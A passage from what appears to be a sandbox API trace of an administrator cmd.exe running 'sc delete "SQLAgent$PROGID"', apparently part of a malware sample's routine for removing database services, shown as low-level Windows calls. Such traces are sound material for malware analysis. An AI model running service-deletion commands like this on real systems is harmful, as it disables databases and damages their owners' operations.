lpWideCharStr="\"WER\"\n\n\n") returned 1 [0076.954] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.954] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.954] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.954] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e356, cchWideChar=1 | out: lpWideCharStr="\nER\"\n\n\n") returned 1 [0076.954] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.954] GetFileType (hFile=0xb8) returned 0x3 [0076.954] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.954] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.955] _get_osfhandle (_FileHandle=1) returned 0x120 [0076.955] GetFileType (hFile=0x120) returned 0x3 [0076.955] _get_osfhandle (_FileHandle=1) returned 0x120 [0076.955] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete \"SQLAgent$PROGID\"\n", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete \"SQLAgent$PROGID\"\n", lpUsedDefaultChar=0x0) returned 29 [0076.955] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x1c, lpNumberOfBytesWritten=0x1afab8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1afab8*=0x1c, lpOverlapped=0x0) returned 1 [0076.955] GetProcessHeap () returned 0x240000 [0076.955] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x4012) returned 0x268630 [0076.955] GetProcessHeap () returned 0x240000 [0076.955] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x268630 | out: hHeap=0x240000) returned 1 [0076.955] GetProcessHeap () returned 0x240000 [0076.955] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0) returned 0x264660 [0076.955] GetProcessHeap () returned 0x240000 [0076.955] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x16) returned 0x2589b0 [0076.955] GetProcessHeap () returned 0x240000 [0076.955] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x44) returned 0x25aa40 [0076.955] GetConsoleOutputCP () returned 0x1b5 [0076.956] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f9bfe0 | out: lpCPInfo=0x49f9bfe0) returned 1 [0076.956] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0076.956] GetConsoleTitleW (in: lpConsoleTitle=0x1afa70, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0076.956] GetProcessHeap () returned 0x240000 [0076.956] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x218) returned 0x259910 [0076.956] GetProcessHeap () returned 0x240000 [0076.956] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x4a) returned 0x25ba10 [0076.956] GetProcessHeap () returned 0x240000 [0076.956] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x420) returned 0x25c5b0 [0076.956] SetErrorMode (uMode=0x0) returned 0x1 [0076.956] SetErrorMode (uMode=0x1) returned 0x0 [0076.956] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x25c5c0, lpFilePart=0x1af300 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x1af300*="Desktop") returned 0x25 [0076.956] SetErrorMode (uMode=0x1) returned 0x1 [0076.957] GetProcessHeap () returned 0x240000 [0076.957] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x25c5b0, Size=0x62) returned 0x25c5b0 [0076.957] GetProcessHeap () returned 0x240000 [0076.957] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25c5b0) returned 0x62 [0076.957] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0076.957] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0076.957] GetProcessHeap () returned 0x240000 [0076.957] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x128) returned 0x255b70 [0076.957] GetProcessHeap () returned 0x240000 [0076.957] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x240) returned 0x241ab0 [0076.957] GetProcessHeap () returned 0x240000 [0076.957] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x241ab0, Size=0x12a) returned 0x241ab0 [0076.957] GetProcessHeap () returned 0x240000 [0076.957] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x241ab0) returned 0x12a [0076.957] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0076.957] GetProcessHeap () returned 0x240000 [0076.957] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xe8) returned 0x259b30 [0076.957] GetProcessHeap () returned 0x240000 [0076.957] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x259b30, Size=0x7e) returned 0x259b30 [0076.957] GetProcessHeap () returned 0x240000 [0076.957] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x259b30) returned 0x7e [0076.957] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0076.958] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0076.958] GetLastError () returned 0x2 [0076.958] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0076.958] GetLastError () returned 0x2 [0076.958] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0076.959] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0x259bc0 [0076.959] FindClose (in: hFindFile=0x259bc0 | out: hFindFile=0x259bc0) returned 1 [0076.959] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0076.959] GetLastError () returned 0x2 [0076.959] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0x259bc0 [0076.959] FindClose (in: hFindFile=0x259bc0 | out: hFindFile=0x259bc0) returned 1 [0076.959] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0076.959] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0076.959] GetConsoleTitleW (in: lpConsoleTitle=0x1af5c0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0076.960] GetProcessHeap () returned 0x240000 [0076.960] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x21c) returned 0x259180 [0076.960] GetConsoleTitleW (in: lpConsoleTitle=0x259190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0076.960] GetProcessHeap () returned 0x240000 [0076.960] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x259180, Size=0xb0) returned 0x259180 [0076.960] GetProcessHeap () returned 0x240000 [0076.960] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x259180) returned 0xb0 [0076.960] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete \"SQLAgent$PROGID\"") returned 1 [0076.961] GetProcessHeap () returned 0x240000 [0076.961] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259180 | out: hHeap=0x240000) returned 1 [0076.961] InitializeProcThreadAttributeList (in: lpAttributeList=0x1af378, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x1af338 | out: lpAttributeList=0x1af378, lpSize=0x1af338) returned 1 [0076.961] UpdateProcThreadAttribute (in: lpAttributeList=0x1af378, dwFlags=0x0, Attribute=0x60001, lpValue=0x1af328, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x1af378, lpPreviousValue=0x0) returned 1 [0076.961] GetStartupInfoW (in: lpStartupInfo=0x1af490 | out: lpStartupInfo=0x1af490*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0076.961] GetProcessHeap () returned 0x240000 [0076.961] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x20) returned 0x254610 [0076.961] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0076.961] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0076.961] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0076.961] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0076.961] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0076.961] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0076.961] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0076.961] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0076.961] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0076.961] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0076.961] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0076.961] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0076.962] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0076.962] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0076.962] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0076.962] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0076.962] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0076.962] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0076.962] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0076.962] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0076.962] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0076.962] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0076.962] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0076.962] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0076.962] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0076.962] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0076.962] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0076.962] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0076.962] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0076.962] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0076.962] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0076.962] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0076.962] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0076.962] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0076.962] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0076.962] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0076.962] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0076.962] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0076.963] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0076.963] GetProcessHeap () returned 0x240000 [0076.963] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x254610 | out: hHeap=0x240000) returned 1 [0076.963] GetProcessHeap () returned 0x240000 [0076.963] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x12) returned 0x2589d0 [0076.963] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete \"SQLAgent$PROGID\"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x1af3b0*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete \"SQLAgent$PROGID\"", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x1af360 | out: lpCommandLine="sc delete \"SQLAgent$PROGID\"", lpProcessInformation=0x1af360*(hProcess=0x54, hThread=0x50, dwProcessId=0xa70, dwThreadId=0x7b8)) returned 1 [0076.967] CloseHandle (hObject=0x50) returned 1 [0076.967] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0076.967] GetProcessHeap () returned 0x240000 [0076.967] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba90 | out: hHeap=0x240000) returned 1 [0076.967] GetEnvironmentStringsW () returned 0x261b10* [0076.967] GetProcessHeap () returned 0x240000 [0076.967] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x25ba70 [0076.967] FreeEnvironmentStringsW (penv=0x261b10) returned 1 [0076.967] NtQueryInformationProcess (in: ProcessHandle=0x54, ProcessInformationClass=0x0, ProcessInformation=0x1aec68, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x1aec68, ReturnLength=0x0) returned 0x0 [0076.967] ReadProcessMemory (in: hProcess=0x54, lpBaseAddress=0x7fffffdb000, lpBuffer=0x1aeca0, nSize=0x380, lpNumberOfBytesRead=0x1aec60 | out: lpBuffer=0x1aeca0*, lpNumberOfBytesRead=0x1aec60*=0x380) returned 1 [0076.967] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0 [0077.022] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x1af2a8 | out: lpExitCode=0x1af2a8*=0x424) returned 1 [0077.022] CloseHandle (hObject=0x54) returned 1 [0077.022] _vsnwprintf (in: _Buffer=0x1af518, _BufferCount=0x13, _Format="%08X", _ArgList=0x1af2b8 | out: _Buffer="00000424") returned 8 [0077.022] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0077.023] GetProcessHeap () returned 0x240000 [0077.023] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba70 | out: hHeap=0x240000) returned 1 [0077.023] GetEnvironmentStringsW () returned 0x261b10* [0077.023] GetProcessHeap () returned 0x240000 [0077.023] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x25ba70 [0077.023] FreeEnvironmentStringsW (penv=0x261b10) returned 1 [0077.023] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0077.023] GetProcessHeap () returned 0x240000 [0077.023] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba70 | out: hHeap=0x240000) returned 1 [0077.023] GetEnvironmentStringsW () returned 0x261b10* [0077.023] GetProcessHeap () returned 0x240000 [0077.023] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x25ba70 [0077.023] FreeEnvironmentStringsW (penv=0x261b10) returned 1 [0077.023] GetProcessHeap () returned 0x240000 [0077.023] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x2589d0 | out: hHeap=0x240000) returned 1 [0077.023] DeleteProcThreadAttributeList (in: lpAttributeList=0x1af378 | out: lpAttributeList=0x1af378) [0077.023] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0077.024] _get_osfhandle (_FileHandle=1) returned 0x120 [0077.024] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0077.024] _get_osfhandle (_FileHandle=1) returned 0x120 [0077.024] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x49f8e194 | out: lpMode=0x49f8e194) returned 0 [0077.024] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.025] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x49f8e198 | out: lpMode=0x49f8e198) returned 0 [0077.025] GetConsoleOutputCP () returned 0x1b5 [0077.025] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f9bfe0 | out: lpCPInfo=0x49f9bfe0) returned 1 [0077.025] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0077.025] GetProcessHeap () returned 0x240000 [0077.025] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259b30 | out: hHeap=0x240000) returned 1 [0077.025] GetProcessHeap () returned 0x240000 [0077.025] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x241ab0 | out: hHeap=0x240000) returned 1 [0077.025] GetProcessHeap () returned 0x240000 [0077.025] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x255b70 | out: hHeap=0x240000) returned 1 [0077.025] GetProcessHeap () returned 0x240000 [0077.025] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25c5b0 | out: hHeap=0x240000) returned 1 [0077.025] GetProcessHeap () returned 0x240000 [0077.025] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba10 | out: hHeap=0x240000) returned 1 [0077.025] GetProcessHeap () returned 0x240000 [0077.026] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259910 | out: hHeap=0x240000) returned 1 [0077.026] GetProcessHeap () returned 0x240000 [0077.026] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25aa40 | out: hHeap=0x240000) returned 1 [0077.026] GetProcessHeap () returned 0x240000 [0077.026] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x2589b0 | out: hHeap=0x240000) returned 1 [0077.026] GetProcessHeap () returned 0x240000 [0077.026] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x264660 | out: hHeap=0x240000) returned 1 [0077.026] _vsnwprintf (in: _Buffer=0x49fa6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x1af7d8 | out: _Buffer="\r\n") returned 2 [0077.026] _get_osfhandle (_FileHandle=1) returned 0x120 [0077.026] GetFileType (hFile=0x120) returned 0x3 [0077.026] _get_osfhandle (_FileHandle=1) returned 0x120 [0077.026] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0077.026] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x1af7a8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1af7a8*=0x2, lpOverlapped=0x0) returned 1 [0077.026] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0077.026] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49f9c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0077.026] _vsnwprintf (in: _Buffer=0x49f8eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x1af7e8 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0077.026] _vsnwprintf (in: _Buffer=0x49f8ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x1af7e8 | out: _Buffer=">") returned 1 [0077.027] _get_osfhandle (_FileHandle=1) returned 0x120 [0077.027] GetFileType (hFile=0x120) returned 0x3 [0077.027] _get_osfhandle (_FileHandle=1) returned 0x120 [0077.027] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0077.027] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x1af7d8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1af7d8*=0x26, lpOverlapped=0x0) returned 1 [0077.027] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.027] GetFileType (hFile=0xb8) returned 0x3 [0077.027] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.027] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.027] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.027] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e320, cchWideChar=1 | out: lpWideCharStr="sc delete \"SQLAgent$PROGID\"\nER\"\n\n\n") returned 1 [0077.027] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.027] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.027] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.027] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e322, cchWideChar=1 | out: lpWideCharStr="c delete \"SQLAgent$PROGID\"\nER\"\n\n\n") returned 1 [0077.027] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.027] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.027] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.028] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e324, cchWideChar=1 | out: lpWideCharStr=" delete \"SQLAgent$PROGID\"\nER\"\n\n\n") returned 1 [0077.028] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.028] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.028] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.028] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e326, cchWideChar=1 | out: lpWideCharStr="delete \"SQLAgent$PROGID\"\nER\"\n\n\n") returned 1 [0077.028] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.028] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.028] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.028] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e328, cchWideChar=1 | out: lpWideCharStr="elete \"SQLAgent$PROGID\"\nER\"\n\n\n") returned 1 [0077.028] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.028] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.028] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.028] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32a, cchWideChar=1 | out: lpWideCharStr="lete \"SQLAgent$PROGID\"\nER\"\n\n\n") returned 1 [0077.028] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.028] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.028] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.028] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32c, cchWideChar=1 | out: 